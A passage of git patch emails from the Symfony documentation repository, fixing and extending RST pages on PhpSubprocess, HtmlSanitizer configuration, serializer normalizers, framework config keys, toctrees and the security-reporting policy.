@@ -1006,8 +1006,8 @@ Option                           Description
 ===============================  ==========================================================================================================  ================================
 ``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
 ``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode`_ function.                                                   ``0``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode`_ function.                                                   ``\JSON_PRESERVE_ZERO_FRACTION``
+``json_encode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
+``json_decode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
 ``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
 ===============================  ==========================================================================================================  ================================
 

From 6c4bcac4aca5226a0d5ae029fde8e395bc9293d1 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Mon, 7 Aug 2023 20:45:36 +0300
Subject: [PATCH 4983/7107] Documentation bugfix

---
 logging/handlers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/logging/handlers.rst b/logging/handlers.rst
index 8e70b6a0861..8821113405e 100644
--- a/logging/handlers.rst
+++ b/logging/handlers.rst
@@ -27,7 +27,7 @@ To use it, declare it as a service:
             Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
 
             # optionally, configure the handler using the constructor arguments (shown values are default)
-            Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler: ~
+            Symfony\Bridge\Monolog\Handler\ElasticsearchLogstashHandler:
                 arguments:
                     $endpoint: "http://127.0.0.1:9200"
                     $index: "monolog"

From b2ea2a0a79c6697dcd30befc85111097da1412d2 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 8 Aug 2023 09:15:40 +0200
Subject: [PATCH 4984/7107] [CI] Use DOCtor-RST 1.48.4

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 482c55d7237..5364a72a526 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.48.1
+                uses: docker://oskarstark/doctor-rst:1.48.4
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1242610d9d038b2bdcca404ba2685a69e0387f98 Mon Sep 17 00:00:00 2001
From: Yanick Witschi <yanick.witschi@terminal42.ch>
Date: Fri, 4 Aug 2023 09:20:42 +0200
Subject: [PATCH 4985/7107] [Process] Documented the new `PhpSubprocess`
 feature

---
 components/process.rst | 44 ++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index 6cce893ab04..f3a2570cdc9 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -410,6 +410,50 @@ instead::
     );
     $process->run();
 
+Executing a PHP child processes with the same configuration
+-----------------------------------------------------------
+
+.. versionadded:: 6.4
+
+    The ``PhpSubprocess`` helper was added in Symfony 6.4.
+
+When you start a PHP process, it's started using its default ``ini`` settings. Let's assume you have a configured
+``memory_limit`` of ``256M`` in your `php.ini` and you want to disable it when running your ``bin/console`` script to access
+the Symfony console without any memory limit. You can then dynamically override it using the ``-d`` command line option
+like so: ``php -d memory_limit=-1 bin/console app:my-command``.
+
+Problem solved. However, let's assume you have an ``app:my-command`` that itself again, starts a PHP child process::
+
+    use Symfony\Component\Process\Process;
+
+    class MyCommand extends Command
+    {
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $childProcess = new Process(['bin/console', 'cache:pool:prune']);
+        }
+    }
+
+What happens now is that PHP will start the ``bin/console cache:pool:prune`` command with a ``memory_limit`` of ``256M``. That's
+because this is your ``ini`` setting.
+
+If you want to make sure that the child processes inherit the dynamically adjusted configuration as well, there is only one
+way to do that: You have to write a temporary ``ini`` file with all the current settings and start the child process using
+``php -c temporary.ini bin/console cache:pool:prune``.
+
+Doing this yourself can be cumbersome but don't worry, Symfony's got you covered! All you need to do is replace the
+usage of ``Process`` with :class:`Symfony\\Component\\Process\\PhpSubprocess`::
+
+    use Symfony\Component\Process\PhpSubprocess;
+
+    class MyCommand extends Command
+    {
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $childProcess = new PhpSubprocess(['bin/console', 'cache:pool:prune']);
+        }
+    }
+
 Process Timeout
 ---------------
 

From 89b0f5806472b97a63eb89300280c1570954ebad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 8 Aug 2023 17:50:02 +0200
Subject: [PATCH 4986/7107] Reword

---
 components/process.rst | 42 ++++++++++++++++--------------------------
 1 file changed, 16 insertions(+), 26 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index f3a2570cdc9..158b8d0bd5a 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -410,19 +410,22 @@ instead::
     );
     $process->run();
 
-Executing a PHP child processes with the same configuration
------------------------------------------------------------
+Executing a PHP Child Process with the Same Configuration
+---------------------------------------------------------
 
 .. versionadded:: 6.4
 
-    The ``PhpSubprocess`` helper was added in Symfony 6.4.
+    The ``PhpSubprocess`` helper was introduced in Symfony 6.4.
 
-When you start a PHP process, it's started using its default ``ini`` settings. Let's assume you have a configured
-``memory_limit`` of ``256M`` in your `php.ini` and you want to disable it when running your ``bin/console`` script to access
-the Symfony console without any memory limit. You can then dynamically override it using the ``-d`` command line option
-like so: ``php -d memory_limit=-1 bin/console app:my-command``.
+When you start a PHP process, it uses the default configuration defined in
+your ``php.ini`` file. You can bypass these options with the ``-d`` command line
+option. For example, if ``memory_limit`` is set to ``256M``, you can disable this
+memory limit when running some command like this:
+``php -d memory_limit=-1 bin/console app:my-command``.
 
-Problem solved. However, let's assume you have an ``app:my-command`` that itself again, starts a PHP child process::
+However, if you run the command via the Symfony ``Process`` class, PHP will use
+the settings defined in the ``php.ini`` file. You can solve this issue by using
+the :class:`Symfony\\Component\\Process\\PhpSubprocess` class to run the command::
 
     use Symfony\Component\Process\Process;
 
@@ -430,26 +433,13 @@ Problem solved. However, let's assume you have an ``app:my-command`` that itself
     {
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
+            // the memory_limit (and any other config option) of this command is
+            // the one defined in php.ini instead of the new values (optionally)
+            // passed via the '-d' command option
             $childProcess = new Process(['bin/console', 'cache:pool:prune']);
-        }
-    }
-
-What happens now is that PHP will start the ``bin/console cache:pool:prune`` command with a ``memory_limit`` of ``256M``. That's
-because this is your ``ini`` setting.
-
-If you want to make sure that the child processes inherit the dynamically adjusted configuration as well, there is only one
-way to do that: You have to write a temporary ``ini`` file with all the current settings and start the child process using
-``php -c temporary.ini bin/console cache:pool:prune``.
-
-Doing this yourself can be cumbersome but don't worry, Symfony's got you covered! All you need to do is replace the
-usage of ``Process`` with :class:`Symfony\\Component\\Process\\PhpSubprocess`::
 
-    use Symfony\Component\Process\PhpSubprocess;
-
-    class MyCommand extends Command
-    {
-        protected function execute(InputInterface $input, OutputInterface $output): int
-        {
+            // the memory_limit (and any other config option) of this command takes
+            // into account the values (optionally) passed via the '-d' command option
             $childProcess = new PhpSubprocess(['bin/console', 'cache:pool:prune']);
         }
     }

From 16eeb74b0c441c14e5a9caa885501a6d8dda723a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 8 Aug 2023 19:26:54 +0200
Subject: [PATCH 4987/7107] Remove hidden toctree

---
 components/console/helpers/index.rst | 11 ----
 contributing/index.rst               | 10 ----
 controller.rst                       |  5 --
 frontend.rst                         |  9 ----
 index.rst                            | 25 ---------
 page_creation.rst                    |  5 --
 reference/constraints.rst            | 80 ----------------------------
 reference/forms/types.rst            | 52 ------------------
 reference/index.rst                  | 22 --------
 routing.rst                          |  5 --
 setup.rst                            |  5 --
 11 files changed, 229 deletions(-)

diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 81cf8aae9bf..893652fb5ab 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -1,17 +1,6 @@
 The Console Helpers
 ===================
 
-.. toctree::
-    :hidden:
-
-    formatterhelper
-    processhelper
-    progressbar
-    questionhelper
-    table
-    debug_formatter
-    cursor
-
 The Console component comes with some useful helpers. These helpers contain
 functions to ease some common tasks.
 
diff --git a/contributing/index.rst b/contributing/index.rst
index d76b4a8e037..c44ee7606a1 100644
--- a/contributing/index.rst
+++ b/contributing/index.rst
@@ -1,14 +1,4 @@
 Contributing
 ============
 
-.. toctree::
-    :hidden:
-
-    code_of_conduct/index
-    code/index
-    documentation/index
-    translations/index
-    community/index
-    diversity/index
-
 .. include:: /contributing/map.rst.inc
diff --git a/controller.rst b/controller.rst
index 58e7e83d854..c3a11e99a6a 100644
--- a/controller.rst
+++ b/controller.rst
@@ -558,11 +558,6 @@ Next, learn all about :doc:`rendering templates with Twig </templates>`.
 Learn more about Controllers
 ----------------------------
 
-.. toctree::
-    :hidden:
-
-    templates
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/frontend.rst b/frontend.rst
index ad30b996462..b16c55937d4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -92,15 +92,6 @@ Symfony UX Components
 Other Front-End Articles
 ------------------------
 
-.. toctree::
-    :hidden:
-    :glob:
-
-    frontend/assetic/index
-    frontend/encore/installation
-    frontend/encore/simple-example
-    frontend/encore/*
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/index.rst b/index.rst
index 288febd7ab8..d4663a94a68 100644
--- a/index.rst
+++ b/index.rst
@@ -8,11 +8,6 @@ Quick Tour
 
 Get started fast with the Symfony :doc:`Quick Tour <quick_tour/index>`:
 
-.. toctree::
-    :hidden:
-
-    quick_tour/index
-
 * :doc:`quick_tour/the_big_picture`
 * :doc:`quick_tour/flex_recipes`
 * :doc:`quick_tour/the_architecture`
@@ -68,11 +63,6 @@ Topics
 Components
 ----------
 
-.. toctree::
-    :hidden:
-
-    components/
-
 Read the :doc:`Components </components/>` documentation.
 
 Reference Documents
@@ -80,11 +70,6 @@ Reference Documents
 
 Get answers quickly with reference documents:
 
-.. toctree::
-    :hidden:
-
-    reference/index
-
 .. include:: /reference/map.rst.inc
 
 Contributing
@@ -92,11 +77,6 @@ Contributing
 
 Contribute to Symfony:
 
-.. toctree::
-    :hidden:
-
-    contributing/index
-
 .. include:: /contributing/map.rst.inc
 
 Create your Own Framework
@@ -104,9 +84,4 @@ Create your Own Framework
 
 Want to create your own framework based on Symfony?
 
-.. toctree::
-    :hidden:
-
-    create_framework/index
-
 .. include:: /create_framework/map.rst.inc
diff --git a/page_creation.rst b/page_creation.rst
index b053e0a88a7..a7d6e84c199 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -349,11 +349,6 @@ Have fun!
 Go Deeper with HTTP & Framework Fundamentals
 --------------------------------------------
 
-.. toctree::
-    :hidden:
-
-    routing
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/reference/constraints.rst b/reference/constraints.rst
index aa341d95883..bb506bf4576 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -1,86 +1,6 @@
 Validation Constraints Reference
 ================================
 
-.. toctree::
-   :maxdepth: 1
-   :hidden:
-
-   constraints/NotBlank
-   constraints/Blank
-   constraints/NotNull
-   constraints/IsNull
-   constraints/IsTrue
-   constraints/IsFalse
-   constraints/Type
-
-   constraints/Email
-   constraints/ExpressionLanguageSyntax
-   constraints/Length
-   constraints/Url
-   constraints/Regex
-   constraints/Hostname
-   constraints/Ip
-   constraints/Uuid
-   constraints/Ulid
-   constraints/Json
-
-   constraints/EqualTo
-   constraints/NotEqualTo
-   constraints/IdenticalTo
-   constraints/NotIdenticalTo
-   constraints/LessThan
-   constraints/LessThanOrEqual
-   constraints/GreaterThan
-   constraints/GreaterThanOrEqual
-   constraints/Range
-   constraints/DivisibleBy
-   constraints/Unique
-
-   constraints/Positive
-   constraints/PositiveOrZero
-   constraints/Negative
-   constraints/NegativeOrZero
-
-   constraints/Date
-   constraints/DateTime
-   constraints/Time
-   constraints/Timezone
-
-   constraints/Choice
-   constraints/Collection
-   constraints/Count
-   constraints/UniqueEntity
-   constraints/Language
-   constraints/Locale
-   constraints/Country
-
-   constraints/File
-   constraints/Image
-
-   constraints/CardScheme
-   constraints/Currency
-   constraints/Luhn
-   constraints/Iban
-   constraints/Bic
-   constraints/Isbn
-   constraints/Issn
-   constraints/Isin
-
-   constraints/AtLeastOneOf
-   constraints/Sequentially
-   constraints/Compound
-   constraints/Callback
-   constraints/Expression
-   constraints/All
-   constraints/UserPassword
-   constraints/NotCompromisedPassword
-   constraints/Valid
-   constraints/Traverse
-   constraints/CssColor
-   constraints/Cascade
-   constraints/EnableAutoMapping
-   constraints/DisableAutoMapping
-
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
 Symfony, constraints are similar: They are assertions that a condition is
diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index aeb8d48ece9..26668d6d78a 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -1,58 +1,6 @@
 Form Types Reference
 ====================
 
-.. toctree::
-   :maxdepth: 1
-   :hidden:
-
-   types/text
-   types/textarea
-   types/email
-   types/integer
-   types/money
-   types/number
-   types/password
-   types/percent
-   types/search
-   types/url
-   types/range
-   types/tel
-   types/color
-
-   types/choice
-   types/enum
-   types/entity
-   types/country
-   types/language
-   types/locale
-   types/timezone
-   types/currency
-
-   types/date
-   types/dateinterval
-   types/datetime
-   types/time
-   types/birthday
-   types/week
-
-   types/checkbox
-   types/file
-   types/radio
-
-   types/uuid
-   types/ulid
-
-   types/collection
-   types/repeated
-
-   types/hidden
-
-   types/button
-   types/reset
-   types/submit
-
-   types/form
-
 A form is composed of *fields*, each of which are built with the help of
 a field *type* (e.g. ``TextType``, ``ChoiceType``, etc). Symfony comes
 standard with a large list of field types that can be used in your application.
diff --git a/reference/index.rst b/reference/index.rst
index 82edbcc0130..38e0e38800e 100644
--- a/reference/index.rst
+++ b/reference/index.rst
@@ -1,26 +1,4 @@
 Reference Documents
 ===================
 
-.. toctree::
-    :hidden:
-
-    configuration/framework
-    configuration/doctrine
-    configuration/security
-    configuration/swiftmailer
-    configuration/twig
-    configuration/monolog
-    configuration/web_profiler
-    configuration/debug
-
-    configuration/kernel
-
-    forms/types
-    constraints
-
-    twig_reference
-
-    dic_tags
-    events
-
 .. include:: /reference/map.rst.inc
diff --git a/routing.rst b/routing.rst
index 3c08ccef960..ad7062e5fa5 100644
--- a/routing.rst
+++ b/routing.rst
@@ -3055,11 +3055,6 @@ or, in Twig:
 Learn more about Routing
 ------------------------
 
-.. toctree::
-    :hidden:
-
-    controller
-
 .. toctree::
     :maxdepth: 1
     :glob:
diff --git a/setup.rst b/setup.rst
index ca52f8bfc69..9b7620d4164 100644
--- a/setup.rst
+++ b/setup.rst
@@ -301,11 +301,6 @@ With setup behind you, it's time to :doc:`Create your first page in Symfony </pa
 Learn More
 ----------
 
-.. toctree::
-    :hidden:
-
-    page_creation
-
 .. toctree::
     :maxdepth: 1
     :glob:

From a109537c017a3e74229d3b661e6f7d61b7781412 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 8 Aug 2023 14:52:11 +0200
Subject: [PATCH 4988/7107] [HtmlSanitizer] fix PHP config examples

---
 html_sanitizer.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index e6cb9d47000..baef54e79d4 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -370,7 +370,7 @@ attributes from the `W3C Standard Proposal`_ are allowed.
                     ->allowElement('img', 'src')
 
                     // allow the <h1> element with all safe attributes
-                    ->allowElement('h1')
+                    ->allowElement('h1', '*')
             ;
         };
 
@@ -611,14 +611,13 @@ This option allows you to disallow attributes that were allowed before.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the "data-attr" on all safe elements...
-                    ->allowAttribute('data-attr')
-                        ->element('*')
+                    ->allowAttribute('data-attr', '*')
 
                     // ...except for the <section> element
                     ->dropAttribute('data-attr', ['section'])
 
                     // disallows "style' on any allowed element
-                    ->dropAttribute('style')
+                    ->dropAttribute('style', '*')
             ;
         };
 
@@ -630,13 +629,13 @@ This option allows you to disallow attributes that were allowed before.
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
                 // allow the "data-attr" on all safe elements...
-                ->allowAttribute('data-attr')
+                ->allowAttribute('data-attr', '*')
 
                 // ...except for the <section> element
                 ->dropAttribute('data-attr', ['section'])
 
                 // disallows "style' on any allowed element
-                ->dropAttribute('style')
+                ->dropAttribute('style', '*')
         );
 
 Force Attribute Values
@@ -688,7 +687,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    ->forceAttribute('a', 'rel', 'noopener noreferrer')
+                    ->forceAttribute('a', ['rel' => 'noopener noreferrer'])
             ;
         };
 
@@ -793,7 +792,7 @@ URLs of ``<a>`` elements:
                     // specifies the allowed hosts, the attribute will be dropped if the
                     // URL contains a different host. Subdomains are allowed: e.g. the following
                     // config would also allow 'www.symfony.com', 'live.symfony.com', etc.
-                    ->allowedLinkHost('symfony.com')
+                    ->allowedLinkHosts(['symfony.com'])
 
                     // whether to allow relative links (i.e. URLs without scheme and host)
                     ->allowRelativeLinks(true)
@@ -912,7 +911,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
                     // contains a different host which is not a subdomain of the allowed host
-                    ->allowedMediaHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
+                    ->allowedMediaHosts(['symfony.com']) // Also allows any subdomain (i.e. www.symfony.com)
 
                     // whether to allow relative URLs (i.e. URLs without scheme and host)
                     ->allowRelativeMedias(true)

From 3a31df78e9ba3aeb1609003297517ddfa47dea96 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 9 Aug 2023 09:20:26 +0200
Subject: [PATCH 4989/7107] [Serializer] Add `TranslatableNormalizer`

---
 components/serializer.rst | 14 ++++++++++++++
 serializer.rst            |  1 +
 2 files changed, 15 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 3a5d0c1a01a..e8646ac3294 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -882,6 +882,20 @@ The Serializer component provides several built-in normalizers:
     Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
     or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into
+    translated strings, using the
+    :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans`
+    method. You can define the locale to use to translate the object by
+    setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
+    context option.
+
+    .. versionadded:: 6.4
+
+        The :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
+        was introduced in Symfony 6.4.
+
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at
diff --git a/serializer.rst b/serializer.rst
index b483ad903d4..26fc2719fca 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -75,6 +75,7 @@ As well as the following normalizers:
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
 
 Other :ref:`built-in normalizers <component-serializer-normalizers>` and
 custom normalizers and/or encoders can also be loaded by tagging them as

From 01d76d32f294ce0c9584b495b4bbaf68d17a8e34 Mon Sep 17 00:00:00 2001
From: johan Vlaar <johan@adivare.nl>
Date: Wed, 9 Aug 2023 13:53:19 +0200
Subject: [PATCH 4990/7107] Update typed property array => ArrayCollection to
 prevent errors

When using strict type checking you could get errors like:
```
TypeError: Cannot assign Doctrine\Common\Collections\ArrayCollection to property App\Entity\Category::$products of type array
```

Co-authored-by: Christian Flothmann <christian.flothmann@gmail.com>
---
 doctrine/associations.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index b17877c4bdf..09561386d0b 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -220,7 +220,7 @@ class that will hold these objects:
             // ...
 
             #[ORM\OneToMany(targetEntity: Product::class, mappedBy: 'category')]
-            private array $products;
+            private Collection $products;
 
             public function __construct()
             {

From 4bfe71c780be1d276cebd76625f1325afa7ca3b8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 9 Aug 2023 14:02:09 +0200
Subject: [PATCH 4991/7107] [Framework] Add missing configuration keys

---
 reference/configuration/framework.rst | 59 +++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 824e30d9f63..52f9e78a823 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1541,6 +1541,40 @@ If the charset of your application is UTF-8 (as defined in the
 recommended setting it to ``true``. This will make non-UTF8 URLs to generate 404
 errors.
 
+secrets
+~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true``
+
+Whether to enable or not secrets managements.
+
+decryption_env_var
+..................
+
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+
+The env var name that contains the vault decryption secret. By default, this
+value will be decoded from base64.
+
+local_dotenv_file
+.................
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+
+The path to the local ``.env`` file. This file must contain the vault
+decryption key, given by the ``decryption_env_var`` option.
+
+vault_directory
+...............
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.runtime_environment%``
+
+The directory to store the secret vault. By default, the path uses the current
+environment.
+
 .. _config-framework-session:
 
 session
@@ -1874,6 +1908,16 @@ This specifies if the session ID is stored on the client side using cookies or
 not. By default, it will use the value defined in the ``php.ini`` with the
 ``session.use_cookies`` directive.
 
+ssi
+~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``false``
+
+Whether to enable or not SSI support in your application.
+
 assets
 ~~~~~~
 
@@ -3392,6 +3436,21 @@ header name and value the header value.
 
     For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
 
+messenger
+~~~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true``
+
+Whether to enable or not Messenger.
+
+.. seealso::
+
+    For more details, see the :doc:`Messenger component </messenger>`
+    documentation.
+
 web_link
 ~~~~~~~~
 

From e2b2df8c2e990d3bc6d2179aec7dadc2223bf6e3 Mon Sep 17 00:00:00 2001
From: Steven Renaux <steven.renaux@sensiolabs.com>
Date: Wed, 9 Aug 2023 16:58:30 +0200
Subject: [PATCH 4992/7107] Removing unavailable link

---
 contributing/code/bugs.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index 6a05f2cdf6d..fba68617ee3 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -14,9 +14,8 @@ Before submitting a bug:
 * Double-check the official :doc:`documentation </index>` to see if you're not misusing the
   framework;
 
-* Ask for assistance on `Stack Overflow`_, on the #support channel of
-  `the Symfony Slack`_ or on the ``#symfony`` `IRC channel`_ if you're not sure if
-  your issue really is a bug.
+* Ask for assistance on `Stack Overflow`_ or on the #support channel of
+  `the Symfony Slack`_  if you're not sure if your issue really is a bug.
 
 If your problem definitely looks like a bug, report it using the official bug
 `tracker`_ and follow some basic rules:
@@ -48,7 +47,6 @@ If your problem definitely looks like a bug, report it using the official bug
 * *(optional)* Attach a :doc:`patch <pull_requests>`.
 
 .. _`Stack Overflow`: https://stackoverflow.com/questions/tagged/symfony
-.. _IRC channel: https://symfony.com/irc
 .. _the Symfony Slack: https://symfony.com/slack-invite
 .. _tracker: https://github.com/symfony/symfony/issues
 .. _<details> HTML tag: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details

From 4a6e6a7a21caeb57f0d965271da9e8e19dd9fc24 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 10 Aug 2023 11:06:16 +0200
Subject: [PATCH 4993/7107] Add a note about Mock classes not considered for
 security issues

---
 contributing/code/security.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index b8e7bea3f6a..7c57e8929e6 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -21,6 +21,10 @@ email for confirmation):
   production (including the web profiler or anything enabled when ``APP_DEBUG``
   is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
 
+* Any security issues found in classes provided to help fo testing that should
+  never be used in production (like for instance mock classes that contain
+  ``Mock`` in their name);
+
 * Any fix that can be classified as **security hardening** like route
   enumeration, login throttling bypasses, denial of service attacks, timing
   attacks, or lack of ``SensitiveParameter`` attributes.

From 40d970d6d895760bd0558e22116eb19b5467366f Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Thu, 10 Aug 2023 11:36:09 +0200
Subject: [PATCH 4994/7107] [Console] Improve `Command::interact()` method
 description

---
 console.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index 4078bfc221d..fb6fdd4b36f 100644
--- a/console.rst
+++ b/console.rst
@@ -461,8 +461,10 @@ command:
     This method is executed after ``initialize()`` and before ``execute()``.
     Its purpose is to check if some of the options/arguments are missing
     and interactively ask the user for those values. This is the last place
-    where you can ask for missing options/arguments. After this command,
-    missing options/arguments will result in an error.
+    where you can ask for missing required options/arguments, this method is
+    called before validating the input.
+    Note that it will not be called when the command is run without interaction
+    (e.g. when passing the ``--no-interaction`` global option flag).
 
 :method:`Symfony\\Component\\Console\\Command\\Command::execute` *(required)*
     This method is executed after ``interact()`` and ``initialize()``.

From 0d9d34bdc54ed7da51c71e92459058bc9691e53b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 10 Aug 2023 11:54:35 +0200
Subject: [PATCH 4995/7107] fix reference

---
 deployment.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/deployment.rst b/deployment.rst
index 2c755158faa..da05990b5ef 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -213,7 +213,7 @@ setup:
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
 * On a shared hosting platform using the Apache web server, you may need to
-  install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
+  install the `symfony/apache-pack`_ package
 * etc.
 
 Application Lifecycle: Continuous Integration, QA, etc.
@@ -268,3 +268,4 @@ Learn More
 .. _`Git Tagging`: https://git-scm.com/book/en/v2/Git-Basics-Tagging
 .. _`Platform.sh`: https://symfony.com/cloud
 .. _`Symfony CLI`: https://symfony.com/download
+.. _`symfony/apache-pack`: https://packagist.org/packages/symfony/apache-pack

From ea432f9c2516b7c89662eaf6bf83ff6efaeafc81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Aug 2023 13:20:25 +0200
Subject: [PATCH 4996/7107] Tweaks

---
 contributing/code/security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/security.rst b/contributing/code/security.rst
index 7c57e8929e6..ba8949971a4 100644
--- a/contributing/code/security.rst
+++ b/contributing/code/security.rst
@@ -21,9 +21,9 @@ email for confirmation):
   production (including the web profiler or anything enabled when ``APP_DEBUG``
   is set to ``true`` or ``APP_ENV`` set to anything but ``prod``);
 
-* Any security issues found in classes provided to help fo testing that should
+* Any security issues found in classes provided to help for testing that should
   never be used in production (like for instance mock classes that contain
-  ``Mock`` in their name);
+  ``Mock`` in their name or classes in the ``Test`` namespace);
 
 * Any fix that can be classified as **security hardening** like route
   enumeration, login throttling bypasses, denial of service attacks, timing

From a39bbc7741b6f5c4ec8e3ce3954f1684189dd52e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Aug 2023 13:33:13 +0200
Subject: [PATCH 4997/7107] Tweak

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index fb6fdd4b36f..28b560d1f9b 100644
--- a/console.rst
+++ b/console.rst
@@ -461,7 +461,7 @@ command:
     This method is executed after ``initialize()`` and before ``execute()``.
     Its purpose is to check if some of the options/arguments are missing
     and interactively ask the user for those values. This is the last place
